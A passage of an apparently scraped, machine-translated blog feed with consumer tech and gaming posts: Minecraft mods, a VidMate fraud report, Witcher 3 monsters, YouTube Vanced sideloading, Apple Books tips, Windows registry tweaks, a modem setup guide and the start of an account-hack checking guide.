replaced by different NPCs and especially they can interact.\nThese NPCs still retain the villagers' basic functions such as exchanging items. They have an additional communication dialog and a complex relational system, you can even marry an NPC and have children.\nThis is a great mod if you're too fed up with the bland and identical villagers.\nChisel  \u0026nbsp;\nIf you like to build and want to form your buildings, Chisel will be an indispensable choice. This Mod gives you new block interfaces and a chisel to quickly change appearance classes just by smashing them.\nDraconic Evolution   Draconic Evolution is a new challenge for true warriors. This mod adds some progress and equipment needed for players who have conquered Ender Dragon and Wither. It creates a powerful new boss and you will use new weapons to destroy it, and . this task is a lot harder than you ever imagined.\nBiomes O'Plenty  \u0026nbsp;\nThis Minecraft mod creates many new communities for the Minecraft world. Once you have explored the game's default communities such as Mines, Temples, Desert Palace, etc., this is your chance to find new things.\nThe world with more Biomes O'Plenty will be more diverse and interesting than ever.\nPam's HarvestCraft  \u0026nbsp;\nPam's HarvestCraft adds more food and farming options, making your food production and processing more interesting than just pork and watermelon.\nBeekeeping system is also a special attraction of this mod.\nAroma1997's Dimensional World  \u0026nbsp;\nThis mod adds a whole new dimension to Minecraft. The gate will lead you to a flat area just for exploitation. If you are a serious builder, do not want to be over exploited in your world, then the added land will be reasonable.\nThe Twilight Forest  \u0026nbsp;\nThe Twilight Forest offers a new experience with loads of new blocks, items, creatures, and development systems. Coming to this forest in a special way, this can be considered as a second world for you to explore and own.\nViveCraft   ViveCraft adds virtual reality (VR) to the Minecraft Java version, allowing you to play games with HTC Vive, Oculus Rift or any VR headset.\nThis feature was built into Windows 10, but not in the Java version, so ViveCraft became extremely valuable, even better than the official feature.\nThus, we have just reviewed the best Minecraft Mod today. Wish you have fun moments while playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmmZ6rpGK6qrrEnKmanqRiurCw0g%3D%3D\n","link":"/post/summary-of-the-best-minecraft-mods/","section":"post","tags":null,"title":"Summary of the best Minecraft Mods"},{"body":"68 million years ago, on our planet there existed a great species of ancient toad with a strong bite that could eat even small dinosaurs.\nThis is the most frightening \"monster\" in the history of the Earth, the tyrant dinosaurs have become their meals Defeating the blue whale, this 37m-long dinosaur is the world's largest creature Whether alive or extinct, these giant creatures will make you feel tiny In 1998, researchers found a 68 million-year-old fossil of the toad named Beelzebufo, also known as the demon toad.\n  Image of the restoration of the demon toad.\nBased on that fossil record, researchers at the University of Adelaide, Australia have reconstructed the anatomical features of demon toads. Accordingly, this toad is up to half a meter long, weighs more than 4.5 kg and has super strong bite force.\nToday's descendants are the Ceratophrys frog, which has a 4.5 cm wide head and horns, so-called horn frogs. The researchers measured the bite force in this frog. The results showed that they had quite impressive bite force of up to 30 newtons and were not easily released.\nThanks to strong jaw muscles and strong muscle forces, the frog species Ceratophrys often catches large animals across their bodies like other frogs, snakes and mice.\nAccording to research results, demon toads with anatomical characteristics are very similar to modern horn frogs and have strong bite force comparable to today's wolves and tigers, up to 2,200 newtons. With this bite force, demon toads can easily hunt small immature dinosaurs.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJqlnKGVo8FusMSmpqdlpKSupXnWoquhZWJnfXF5zZ6uraeeYq%2BqwMinnmaen6ewpnnKoqOlq12ptaZ5w6KlqKuRqr9uw8itn2aZXZe2tbE%3D\n","link":"/post/the-ancient-demon-toad-with-2-200-newton-biting-force-kills-the-dinosaur-with-a-bite/","section":"post","tags":null,"title":"The ancient demon toad with 2,200 newton biting force, kills the dinosaur with a bite"},{"body":"VidMate is an Android application that allows free download of videos from YouTube, WhatsApp . With outstanding features and completely free, VidMate has become the choice of many users, now has more than half a billion users. Global installed this application. However, security experts at Upstream recently discovered that the application is quietly withdrawing money from users' phone accounts.\nAccordingly, VidMate has secretly automatically registered payment services, displaying advertisements so that Android smartphones run out of battery quickly, leak personal information and be charged in the account.\n  Photo: BuzzFeed News.\nUpstream Guy Krief said, if users download and install this application on their device, a third party will gain control of their phones and personal information.\nVidMate displays hidden ads that make users not know why mobile data is deducted and of course the owner of the application will receive money from the advertiser.\nA self-proclaimed VidMate spokesman denied any information published by Upstream, in an interview via Skype. This person refuses to confirm his name and title at VidMate and does not answer any other questions.\nAccording to Upstream, in just 6 months they have blocked 128 million suspicious transactions of users in Egypt, Brazil, and Myanmar using the VidMate application. If these transactions are successful, users may have lost more than $ 150 million from mobile subscribers without them knowing.\nUCWeb, a subsidiary of Alibaba, developed VidMate and they sold the app last year. Currently, a startup called Nemo Fish is the new owner of VidMate.\nHowever, Upstream has detected suspicious transactions of VidMate since October 2017, long before UCWeb sold the application. By 4/2018, these transactions began to increase strongly on a large scale.\nEarlier, mobile applications released by Chinese companies such as Cheetah Mobile, DO Global and Kika Tech were also accused of advertising fraud and collecting personal information of users.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJqnqaSZmK61tc6nZJqknKTEtHnFq5yeZZSkxK%2B4zpqbZqeWYsOqsMSoqmaeoqS6bsXOrquumpViwKq4xKerpbFdmb%2Bitc2ipaBlpaiys7%2BMpqannak%3D\n","link":"/post/the-application-allows-free-download-of-videos-from-youtube-silently-draining-users-money/","section":"post","tags":null,"title":"The application allows free download of videos from YouTube silently draining users' money"},{"body":"The Witcher 3: Wild Hunt has been out for a few years, but many gamers are still fascinated by the dark fantasy world and the different monsters that reside within it.\nWhen players encounter these fearsome enemies, it is a very indescribable experience. Some are monsters acting purely on instinct, while others are cruel, brutal, purposeful and more.\nRotfields   Of all the terrifying monsters in The Witcher series, the Rotfiends are perhaps one of the most interesting looking. They were very scary, looking like swollen and rotting corpses that had been stripped of their skin. Rotfiends are actually a form of zombies, and they mainly attack based on instinct. However, they can chase a horse at full speed. This is what makes them as scary as their appearance, not to mention the body of this species also contains bags of toxins.\nCrones   Crones are fearsome and mysterious creatures, long before humans and dwarves set foot on Earth, these creatures existed, they relied on magical powers drawn from nature and seemed to like immortal.\nCrones, despite their intimidating appearance, are not entirely evil. Instead, they are opportunists, price-setters, trading the blessings they can bring to the people of Velen.\nFiends   Although they tend to avoid human contact at all costs, Fiends will not hesitate to attack if cornered or threatened, and that could mark instant doom. They are considered one of the most \"stretchy\" creatures in the Witcher universe, with a very high level of health and regenerative ability.\nPhysically, Fiends are like monsters good at smashing, and their enormous size can kill players with just a few hits. They can also cast a hypnotic spell that keeps the player from being locked for 20 seconds, further increasing the risk of death. They are one of the creatures that fans are hoping to appear in the Netflix series Witcher.\nPlague Maidens   Plague Maidens embodies the worst and most terrifying viral outbreaks imaginable. The player may encounter one of them during the quest \"A Towerful of Mice\".\nThe Caretaker   This particular monster looks like something beyond the imagination of many. Caretaker's most notable feature is the lack of an actual face, which appears to be just a large piece of skin sewn back where the nose and eyes would be.\nPlayers can encounter this terrifying creature in the Hearts of Stone DLC pack and it is certainly a very difficult enemy to take down. This creature will use damage against the player and can summon souls for a self-healing effect.\nLeshen   Leshen taps into people's primal fear and uses it to their advantage. They have a deer skull-shaped head, long, bony fingers and toes, and a tree-like trunk with branching antlers. It was not a creature anyone would want to stumble across in the woods.\nThis creature can use magic to control the surrounding flora, as well as animals in the form of birds and wolves.\nBotchling   Leaving fetuses and unborn fetuses without proper burial could lead to the formation of one of the most fearsome and disturbing monsters in the Witcher universe - the Botchling. Once revived, they will find pregnant women and crawl under their beds to suck up their essence and then their blood.\nThis can cause mutations, causing Botchling to turn into a fully grown and very dangerous humanoid. However, Botchlings can be transformed into a protective spirit - Lubberkin, if buried ceremonially.\nThe Unseen Elder   The creature is a high-ranking member of the vampire clan and is known to be extremely aggressive towards anyone who drifts into its territory—both human and vampire. It is also an extremely powerful predator, able to kill people with the slightest swipe of the wrist.\nNightwraiths   Plague Maidens may have been terrifying, but Nightwraith was more than that. Like the decomposing corpse of a slender woman, Nightwraith is capable of dealing massive damage and killing those it chooses to target.\nThey can often be found in wandering fields and empty grasslands in the dead of night as if they were looking for something - or someone - that they would never find.\nHym   The fear of the dark is the most widespread and powerful of the primitive fears of mankind. So it makes sense that one of the scariest monsters in the Witcher universe has taken full advantage of that fear by presenting himself as an evil shadow. In essence, Hym is a demon that uses psychological terror tactics to take down his prey instead of going straight into physical combat.\nThe Witcher 3 ncG1vNJzZmismaXArq3KnmWcp51kwamxjKyamqqZmsC1ecKrnJqspaeytHnIp2StoJVixKrAwqGcq2Vj\n","link":"/post/the-scariest-creatures-in-the-witcher-3/","section":"post","tags":null,"title":"The Scariest Creatures in The Witcher 3!"},{"body":"Youtube Vanced is considered a mod of the official Youtube app. Youtube Vanced has many features that the normal YouTube version does not have. A good example is you can listen to music off the YouTube screen easily . or swipe to rewind or adjust the volume.\nIf you want to experience the attractive features and utilities of Youtube Vanced, please see how to download and use Youtube Vanced below this article.\nInstructions on how to create a YouTube Channel How to remove unwanted video suggestions on Youtube Can't watch YouTube video in full screen mode in Ubuntu Maverick 10.10 Instructions to download and use Youtube Vanced on the phone 1. Download Youtube Vanced First, download Youtube Vanced by following the link below, then install Youtube Vanced as usual. Remember to enable the installation of unknown applications, open and watch a clip.\nLink to download Youtube Vanced APK Black version Link to download Youtube Vanced APK Dark version 2. Listen to music off screen Now start by minimizing the video view window. Click on the individual icons in the upper right corner of the main screen. Then select General \u0026gt; Enable Picture in picture as shown below.\nNext, go back to the YouTube Vanced main screen, watch any video and press the Home button to exit Youtube Vanced, immediately the video window will be minimized at one corner of the screen.\nIn the minimized Youtube Vanced window, click on the play screen and will have icons appear. Now click on the headset icon and this window will move to the status bar, now turn off the screen and see if the music continues to play.\n3. No advertising In addition to the music off screen feature, you will not be annoyed when there are no ads when watching videos on Youtube Vanced. The style ads at the beginning of the clip as well as ads at the time segment on the clip will not show.\n4. Increase or decrease the volume, fast forward by swiping the screen on Youtube Vanced Another feature that YouTube does not have, it is rewinding the video and turning up and down the volume by swiping the screen. Go to the personal icon\u0026gt; select Settings \u0026gt; General settings \u0026gt; Swipe Controls .\nNext, turn on the Swipe Controls (Brightness) and Swipe Controls (Volume) options .\n  After enabling the rewind and volume up options, turn on the video and expand it full screen. Next, swipe horizontally to fast forward and rewind, swipe up and down to increase - decrease the volume.\n  Although more attractive than YouTube, Youtube Vanced is not in the CHPlay app store and there is no version for iOS. This is also the drawback of Youtube Vanced.\nIn addition, to be able to sync your Google account on Youtube Vanced, you must have another utility called MicroG if you want to revisit watch history and channels registered on Youtube Vanced.\nDownload the MicroG utility for Youtube Vanced\nThis is how to download and use some features on Youtube Vanced. Despite the attractive features that the official YouTube app does not have, YouTube Vanced also has certain limitations on how to download the application as well as the account synchronization.\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWmlrukscNmn6ivXam8brDOsKWlp5GZeqK6w2asrJ1drry2wNSbnGaukaOwprCMqKVmsZ%2Bqv268x6ilng%3D%3D\n","link":"/post/youtube-vanced-how-to-download-and-use-youtube-vanced-on-your-phone/","section":"post","tags":null,"title":"Youtube Vanced How to download and use YouTube Vanced on your phone"},{"body":"As part of the iOS 12 upgrade in 2018, Apple overhauled some of the original operating system applications. One of the applications that are 'refreshed' this time is iBooks. Along with the name change, it has a new design and series of features.\nLet's learn more about this completely new Apple Books application through the following article!\n10 useful Apple Books tips What is Apple Books? Useful tips when using Apple Books 1. Use the Navigation menu 2. Notes 3. Highlight text 4. Bookmark 5. Convert text to speech 6. Customize images 7. Audiobook with Siri 8. Synchronize on your device 9. PDF Manager 10. More menu  What is Apple Books? Apple wants to use its Books to become a unique address for all users' reading needs. It allows you to add your existing e-book, provide a portal for Apple's ebook store, so you can buy more books and for the first time, allowing you to listen to audiobooks.\nThe application can read EPUB files, PDF files and Apple's proprietary IBA format (used for books created in Apple's iBooks Author application).\nSo how do you make the most of this redesigned application?\nUseful tips when using Apple Books 1. Use the Navigation menu    Apple Books has a new Navigation menu that helps you control your reading experience easier than ever.\nTo access the menu, tap anywhere on your device screen while you're reading a book. You will see 5 icons appear along the top of the screen.\nThe leftmost icon - arrow - will exit your current book and take you back to the library page. An icon allows you to access book content, bookmarks and notes. There is also a search function and bookmark button.\n2. Notes    You can add notes to books for later reference. This is a useful feature for students and people who work with long documents or complex documents.\nTo take notes, touch and hold a word in a book, then drag to select longer text if needed.\nWhen you're ready, release your finger and swipe through the list of options. Touch Note and you can add your thoughts below the text you marked. When you're done, click Done.\nYou can search your notes by opening the Navigation menu , tapping the Contents icon , then selecting the Notes tab .\nNote : The text attached to the note is highlighted in yellow in the reading window.\n3. Highlight text    Apple Books now offers many ways to mark text in an ebook. This feature is useful for those who want to find certain parts of the book later.\nThe process of marking text is similar to the note-taking process. Click, hold and drag over the text you want to highlight, but select Highlight from the popup menu instead of Note.\nNow you will see some options on the screen to customize your highlighted text. You can choose to highlight text in yellow, green, red, blue and purple. You can also emphasize it. Alternatively, you can click on the share icon to send highlighted content to apps and others. There is also a delete button to remove your markup.\nAfter you have marked some text, one click on the highlighted part will display the highlighted text menu, allowing you to make changes.\n4. Bookmark    Bookmark provides a more detailed introduction to specific pages. On any page in the e-book, you can display the Navigation menu with one tap, then select the bookmark icon in the upper right corner to save the page. The icon will turn red to indicate successful operation.\nYou can find bookmarks in the same way you find your notes. Open the Navigation menu , tap the Contents icon , then select the Bookmarks tab .\n5. Convert text to speech Don't be confused with audiobooks, Apple Books offers text-to-speech capabilities. In theory, it means you can turn any ebook into an audiobook (although you'll have to listen to monotonous, computer-based voices).\nHowever, it is a good choice, if you are on a long journey and your eyes need to rest, or when reading is not very important (for example, in academic or legal documents).\nTo use Apple Book's speech-to-speech feature, press and hold the first word, then drag the cursor over all the text you want to hear. When you are ready, select Speak from the popup menu.\n6. Customize images Apple knows that people will be hard to stare at the screen for a long time. Therefore, it includes a number of options to reduce eye strain and make page navigation easier.\nApple Books has 6 options you can tweak:\n1. Brightness: Use the slider to set the brightness of the app to the most comfortable level.\n2. Font Size: Please select the font size that fits on the screen and does not need to swipe continuously.\n3. Fonts: The application includes 9 fonts. These are Original, Athelas, Charter, Georgia, Iowan, Palatino, San Francisco, Seravek, and Times New Roman .\n4. Background Color: White background makes you more stressed. This app also offers sepia, granite and black.\n5. Auto-Night Theme: Please enable this feature and your iPhone will automatically soften the blue light of the screen and replace it with warmer yellow light in the evening.\n6. Scrolling View: Instead of swiping from page to page, you can enable this option to enjoy your books continuously. This is better suited to the way we read articles on the phone.\nYou can change the options above by opening the Navigation menu and touching the AA icon .\n7. Audiobook with Siri Apple Books is closely integrated with Siri. So, you can ask her to turn on the audiobook on any of her devices. The virtual assistant will start recounting the book's content after a few seconds.\n8. Synchronize on your device    You can use the new app to synchronize your reading experience on all your Apple devices. iCloud will handle this. Synced data includes progress through reading books, libraries along with notes, bookmarks and highlighting items.\nTo turn on device cross-sync, go to Settings\u0026gt; [Name]\u0026gt; iCloud and activate the options for iCloud Drive and Books.\nNote : If you only want to synchronize books purchased from your Apple Books repository, not your own EPUB and PDFs, turn off iCloud Drive.\n9. PDF Manager Did you know that the new Apple Books application has both been a reader and a PDF manager? You can save PDF files and email directly to the application. From the Mail or Safari app, just click the Share button , swipe right once, then click Copy to Books.\nYou can add handwritten notes to PDF by selecting the pen icon.\nQuantrimang has written about how to manage PDF files on iPhone. You can find out more if you want.\n10. More menu    The redesigned app has 4 new tabs located along the bottom of the screen: Reading Now, Library, Book Store and Search.\nReading Now and Book Store deserve the most attention. They come with suggestions, sorted lists, special deals, bestsellers and a number of other ways to help you discover new content.\nTo make the list more personalized, you can use both screens to provide feedback on application suggestions. However, all the interesting options are hidden behind the More menu .\nIf you click the horizontal dot icon next to any book, you can add it to your \" Want to Read \" list, add it to your personal collection, rate and review or share it. it with friends. Most importantly, click on the Love or Dislike button to help with future suggestions.\nApple Books seems to be trying to replicate Spotify's great music discovery tools in the e-book world: sleek design, with many suggestions and ease of use.\nOf course, it is still an application on the phone, so it will never be suitable for tablets. It may also be somewhat limited for those with huge book collections in many different ebook formats. You can convert ebooks online or use Caliber, but it's a very complicated task.\nHowever, it can be affirmed that the new application of Apple Books is the best e-book reader application on any mobile platform so far. It is definitely better than any ebook reader application on Android. Try and share your comments in the comment section below!\nSee more:\n10 great ways to experience the iPad 10 effective iPad tips Things to know when buying an e-reader ncG1vNJzZmismaXArq3KnmWcp51kfnF506KnrGWRpb2tsYybpqijo2K7prHDZquoZZujvLh506hkq52RmXqjsdOtnKs%3D\n","link":"/post/10-tips-apple-books-need-to-know-to-read-better/","section":"post","tags":null,"title":"10 tips Apple Books need to know to read better"},{"body":"On previous versions, on the Windows Desktop, an Internet Explorer icon appears so users can easily access Internet Explorer. However, in Windows 7, the Internet Explorer logo no longer appears on the Desktop. However, you have a restore tab so that this icon appears on the Desktop.\n19. Add Defragment to any right-click menu   19.1. Edit the Registry manually Open regedit.exe through the Search Start Menu pane or on the Run command window. Then on the interface of the Registry you navigate to the key:\nHKEY_CLASSES_ROOTDriveshell\n  \nNext under the Shell key you create a new key and name this key Runas, then set the Default value to Defragment.\nNext create a new key in the runas key and name this key as command and set the value for the command as the value below:\ndefrag% 1 -v\n  \n19.2. Download the available Registry This way is very simple, just download the ZIP AddDefragToDriveMenu Registry Hack file to your computer and extract it, then double-click the AddDefragToDriveMenu.reg file to add Defragment to the right-click menu or double-click the AddDefragToExtendedDriveMenu.reg file to hide it. Defragment after Shift.\nDownload AddDefragToDriveMenu Registry Hack to your computer and extract it here.\n20. Run any file format under Admin on Windows 7 or Windows Vista 20.1. Edit the Registry manually Open regedit.exe through the Search Start Menu pane or via the Run command window. On the interface of the Registry you navigate to the key:\nHKEY_CLASSES_ROOT.zip\n  \nNote:\nReplace .zip with the file extension you are looking for.\nThe next step you need to do is note the data value in the (Default) section. This value tells you if the application installs this file type format and the location to find it in the Registry.\nIn the above illustration, in the Data frame display is WinRAR.ZIP, so you must browse the Registry key below:\nHKEY_CLASSES_ROOTWinRAR.ZIPshellopencommand\nWhat you need to do next is copy shellopencommand section to shellrunascommand . The easiest way to right click on Command and click Export .\n  Next open the Regitry Export file in Notepad and edit the \"open\" to \"runas\" as shown below and close the Notepad file again.\n  Double click on the file to fill in the Registry. You should now see the Run as option:\n  From now on, just right-click the file and open the file under Admin.\n  21. Enable or disable Task Manager   21.1. Edit the Registry manually First open regedit.exe via the Search Start Menu pane or via the Run command window, then navigate to the following key:\nHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem\nIn the list of values ​​in the right pane, you find the 32-bit REG_DWORD value named DisableTaskMgr , double-click it and set 1 of the 2 values ​​below:\n1: Disable Task Manager. 0: Activate Task Manager.   22. Disable Send To Folder on Context Windows Explorer Menu   22.1. Edit the Registry manually Open regedit.exe through the Search box on the Start Menu or through the Run command window. Then on the interface of the Registry you navigate to the key:\nHKEY_CLASSES_ROOTAllFilesystemObjectsshellexContextMenuHandlersSend To\nFind the value (Default) in the right pane, double-click it and delete the text from the value frame, leaving the value blank.\n  22.2. Restore the Send To Menu option Follow the same steps and enter the following Registry key:\n{7BA4C740-9E81-11CF-99D3-00AA004AE837}\n22.3. Use the built-in Registry Just download the ZIP DisableSendTo Registry Hack file to your computer, unzip and then double click the file DisableSendTo.reg.\nIf you want to restore the Send To option, double-click the RestoreSendTo.reg file.\nDownload the ZIP DisableSendTo Registry Hack file to your computer and extract it here.\n23. Ignore the dialog window \"Use the Web service to find the correct program\" When you double-click on a file with an unknown extension, Windows will display a message dialog box as shown below:\n  When you select the option Select a program from a list of installed programs , the screen will display a dialog with the programs you can choose to open the file.\n  However, you can reset the Registry to display only the dialog box with the programs you can choose to open the file.\n23.1. Edit the Registry manually Open regedit.exe through the Search box on the Start Menu or through the Run command window. Then on the interface of the Registry you navigate to the key:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer\nNote: If the keys do not exist, you can create the keys yourself.\nNext in the right pane, you create a 32-bit DWORD value and name this value NoInternetOpenWith , set the value in the Value data frame to 1.\n  If you want to go back to the default settings, take the same steps and change the Value value to 1 or delete the NoInternetOpenWith key.\nNote: You do not need to restart the computer after applying changes.\n23.2. Use the built-in Registry for Windows XP and Windows Vista Just download the OpenWith Registry hack ZIP file for Windows XP / Vista to your computer and extract it, then double-click the file DisableInternetOpenWith.reg and fill it in the Registry.\nDownload the ZIP file OpenWith Registry hack for Windows XP / Vista to your computer and extract it here.\n24. Restore Internet Explorer icon on Desktop Windows 7 screen In previous versions, on the Windows Desktop, an Internet Explorer icon appeared so users could easily access Internet Explorer. However, in Windows 7, the Internet Explorer icon no longer appears on the Desktop. However, you have a restore tab so that this icon appears on the Desktop.\n  24.1. Edit the Registry manually First open Regedit.exe via the Search box on the Start Menu or through the Run command window, then navigate to the following key:\nHKEY_CLASSES_ROOT CLSID {871C5380-42A0-1069-A2EA-08002B30309D}\nNext right-click on the {871C5380-42A0-1069-A2EA-08002B30309D} key in the left pane and then select Export and save it as a .REG file .\n  \nOpen the .REG file with Notepad.\n  From the Edit Menu, click Replace and replace the string GUID {871C5380-42A0-1069-A2EA-08002B30309D} with a custom GUID string, such as {871C5380-42A0-1069-A2EA-08002B30301D}.\n  Save the REG file and close Notepad, then double-click the file to import content into the Registry. Open the Registry again, or use the F5 key to refresh the changes (this step is quite important).\nNext, navigate to the key:\nHKEY_CLASSES_ROOT CLSID {871C5380-42A0-1069-A2EA-08002B30301D} Shellex ContextMenuHandlers ieframe\nDouble click on the (Default) key in the right pane and set the data to:\n{871C5380-42A0-1069-A2EA-08002B30309D}\nOnce you're done, on the Desktop, press F5 to refresh, and you'll see the Internet Explorer icon appear on the Desktop.\n  25. Remove Map Network Drive from Menu Items on Windows XP and Windows Vista   25.1. Edit the Registry manually Open regedit.exe through the Search box on the Start Menu or through the Run command window, then navigate to the key:\nHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer\nIn the right pane, you create a 32-bit DWORD value, then name this value NoNetConnectDisconnect and set the value in the Value frame to 1 .\n  You can check if the Map Network Drive option has been deleted by right-clicking Computer to check.\n25.2. Use the built-in Registry Just download the RemoveMapNetworkDrive Registry Hack ZIP file to your computer and unzip, then double-click the file\u0026nbsp; RemoveMapNetworkDrive.reg to import the information into the Registry is done.\nDownload the ZIP file RemoveMapNetworkDrive.reg to your computer and extract it here.\nRefer to some of the following articles: Unlock and improve Windows 10 features with 5 Registry tricks 50 Registry tricks to help you become a true Windows 7 / Vista \"hacker\" (Part 1) 50 Registry tricks to help you become a true Windows 7 / Vista \"hacker\" (Part 2) Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kgnF50Z6eoqukp8ZuwNGimqSrXam8brTEpadmsZ%2BqeqOxwqiknmWRYsGzwcRmrqKmlKTEtHmWZq2iq6SWeqmtwqScq2Wglr%2B1eZQ%3D\n","link":"/post/50-registry-tricks-to-help-you-become-a-true-windows-7-vista-hacker-part-5/","section":"post","tags":null,"title":"50 Registry tricks to help you become a true Windows 7 / Vista 'hacker' (Part 5)"},{"body":"One of the favorite features on macOS is Preview, previewing the content of any file type. Users can select any type of file and press the Spacebar to quickly see the contents of the file before opening the file with the corresponding application on the operating system.\nPreview function supports all file formats, from images, videos, document files even with zip files to preview the content of the file. And on Windows 10 also has a preview feature, when in the File Explorer Ribbon, select the View tab. We will then see the Preview Pane option at the top, left corner of the screen. When you click, you will see the preview of the selected file type. However, this Preview Pane applies only to text files and image files.\n  So what if you want to preview the contents of PDF files, zip files on Windows 10? We can bring the Preview feature on the Mac OS to Windows using the Seer for Windows tool\nHow to bring Preview feature to Windows 10 Step 1: First of all, we will download the Seer for Windows tool according to the link below.\nDownload Seer for Windows software We proceed to install Seer for Windows, click Next to begin.\n  Step 2: Next, click Install to finish installing Seer for Windows.\n  The software installation process is fast, especially Seer for Windows does not contain annoying malicious or advertising virus programs. After successful installation, the program will run in collapsed mode and appear in the system tray icon (System Tray).\n  Step 3: Now to preview something, just click on the file and press the Spacebar to preview the content. To exit the Seer for Windows window, simply press the Spacebar key again.\n  The software supports audio files (audio), movies (video), zip, rar, text format but does not support previewing content for Word, Excel document files but can view PDF file content .\nWith Word content you will only see the text name, folder, Word file size, MD5 code, .\n  Step 4: If users want to see the list of file formats that Seer for Windows supports, we right-click the software icon on the System Tray and select Settings .\n  Appears the Settings dialog box of Seer for Windows, click on Type . We will see a list of supported file formats, text, images, multimedia files, .\n  Step 5: Also at this interface, click on the General tab and see the content on the right. Here, users will select the Run Seer at system start if you want to start Seer for Windows with the system.\nClick OK at the bottom to save the changes.\n  Step 6: Click on the Keyboard option to select the shortcut to activate some of the features on the Preview window in the Settings interface.\n  Above is the basic usage of Seer for Windows tool, bring the Preview feature of macOS to Windows 10 computer. Through public Seer for Windows, users will be able to check the contents of the file before opening them by application. Use default. Since Seer for Windows does not apply to text files, users can combine Seer for Windows with Preview Pane feature available on Windows 10 to serve the need to preview the file content offline.\nRefer to the following articles: How to bring the Windows 8 search bar to Windows 10 Refresh the Windows 10 interface with 8 customizable tools How to put Windows 7 Start button on Windows 10 computer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoec%2BrnK%2Bhlax6p7HArayrnV2ku265wJymrGWkpHq4tc2dprCrXWZ9\n","link":"/post/how-to-bring-preview-feature-on-macos-to-windows-10/","section":"post","tags":null,"title":"How to bring Preview feature on macOS to Windows 10"},{"body":"The main cause of this problem is that macOS can only read files formatted as NTFS, but cannot write files to NTFS drives. Therefore, if your USB drive is NTFS format, the copy and paste process cannot be performed. Therefore, the USB drive needs to be FAT or ExFAT format. However, ExFAT is more stable.\nSteps to change USB drive format:\nOpen Finder in your system, then choose Applications\u0026gt; Utilities\u0026gt; Disk Utility .\u0026nbsp;\n  Select the USB drive on the left side.\n  Then click the Erase button in the top right corner of the screen. Select ExFAT in the format drop-down list and start reformatting the drive.\n  After the drive format is complete, you can copy files from macOS to USB normally.\nHow to copy files from macOS to a USB drive using the command line Open a Terminal window and run the following command:\ncp -R Documents /usb -R will copy all the subfolders in the Documents folder to the USB external hard drive.\nHowever the above command may give an error message like:\nusb/Pics: No such file or directory. This is because the USB external hard drive is mounted in the / Volumes folder, so you should add the / Volumes directory before the name of the USB disk when you run the cp command.\ncp -R Documents /Volumes/usb-namencG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZussilnKxllqe8rnnMmppmrJ9iwrSu\n","link":"/post/how-to-copy-files-from-mac-to-usb/","section":"post","tags":null,"title":"How to copy files from Mac to USB"},{"body":"This wikiHow teaches you how to install a modem for your home or workplace Internet. If you want to have Wi-Fi, you will need to buy a router and connect the modem to the router as well. Make sure that your modem will work with your...\nPart 1of 2:\nPreparing to Install  Make sure that your modem will work with your Internet subscription. While rare, some modems encounter issues when paired with a specific Internet company (e.g., Comcast). Double-check your modem's compatibility with your current Internet subscription before buying (if possible). If you find that your modem won't work with your current subscription, try to exchange the modem for a different one that will work, or switch your Internet subscription.   Find your room's cable output. The cable output resembles a metal cylinder with a small hole in the middle and screw threads all around the sides. You'll usually find cable outputs in the wall near the floor in living rooms and bedrooms. In some cases, there will already be a cable connected to the cable outlet.   Decide on a place to mount the modem. The modem should be relatively high up (e.g., on top of a bookshelf), and it will need to be close enough to the cable output that you can connect it without stretching or bending the cable. You'll also need to have a power outlet nearby.   Make sure that you have all of the required cables. A modem generally requires a coaxial cable to connect to the cable output, as well as a power cable to connect to an electrical outlet. Both of these cables should come with your modem, but if you bought it used, you may need to find replacement cables. If you plan on attaching the modem to a router, you will also need an Ethernet cable. Consider buying a longer coaxial cable if the one that you have is too short to allow you to mount properly your modem.   Read your modem's instructions. Each modem is unique, and yours may require additional setup outside of this article's capacity. Reading your modem's manual will help make you aware of any additional steps that you have to take to install the modem.\n Part 2of 2:\nInstalling  Attach one end of the coaxial cable to the cable output. The coaxial cable has a connection that resembles a needle on each end. This will plug into the cable output. Make sure that you screw the coaxial cable onto the cable outlet to ensure that the connection is solid.\n  Attach the other end of the cable to the input on your modem. On the back of the modem, you should see an input that resembles the cable output cylinder. Attach the free end of the coaxial cable to this input, making sure to tighten as needed.\n  Plug your modem's power cable into an electrical outlet. A wall socket or a surge protector will do. It's important to plug the cable into the power outlet before connecting it to the modem, since connecting the power cable to the modem first can cause damage.\n  Insert the modem power cable's free end into the modem. You'll usually find the power cable input port at the bottom of the back of the modem, but check your modem's documentation to confirm if you can't find the power port.\n  Place your modem in its spot. With the cables attached, gently move your modem into its designated position. You shouldn't feel any resistance from the cables.\n  Attach the modem to a router. If you have a Wi-Fi router that you want to use in conjunction with your modem, plug one end of an Ethernet cable into the square port on the back of the modem, then plug the other end into the \"INTERNET\" (or similarly labeled) square port on the back of the router. As long as the router is plugged into a power source, the router should immediately light up. Give your modem and router a few minutes to boot up before attempting to connect to Wi-Fi. You can also connect your computer directly to your modem via Ethernet if you have an Ethernet port enabled computer (ex. A PC or Ethernet Adapter for most Macs)   Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmGaln5myrg%3D%3D\n","link":"/post/how-to-install-a-modem/","section":"post","tags":null,"title":"How to Install a Modem"},{"body":"Hackers often target profiles of wealthy politicians or investors. But practically anyone can become a target. An attacker may be a partner or a cyber criminal who wants to attack the victim's bank account.\nIf you think you are the target, or worse, the account has been hacked, how do you know if someone is holding your account?\nIt is really a difficult question to answer, because online services offer different types of data and they are often not easily found. Today, TipsMake.com will guide you to read the basic steps to see if there are any traces of penetration in your online account, such as Gmail, email from Microsoft, Facebook and Twitter, or not.\nWarning : Sometimes, users cannot receive a clear answer about whether an account has been hacked. If in doubt, you should seek advice from an expert, such as a friend who works for IT or a company's technical advice line. In addition, the scope of this guide covers only online services. If hackers get into the computer, all of these services can be compromised and the techniques described here will not be able to help detect anything.\nCheck if the account has been hacked Gmail Microsoft Outlook Yahoo Facebook Twitter Instagram Steam Gmail The first thing to do if you suspect someone has hacked into your Gmail account is to log into Gmail and check ' Last Account Activity '. This option is located in the bottom right corner of the 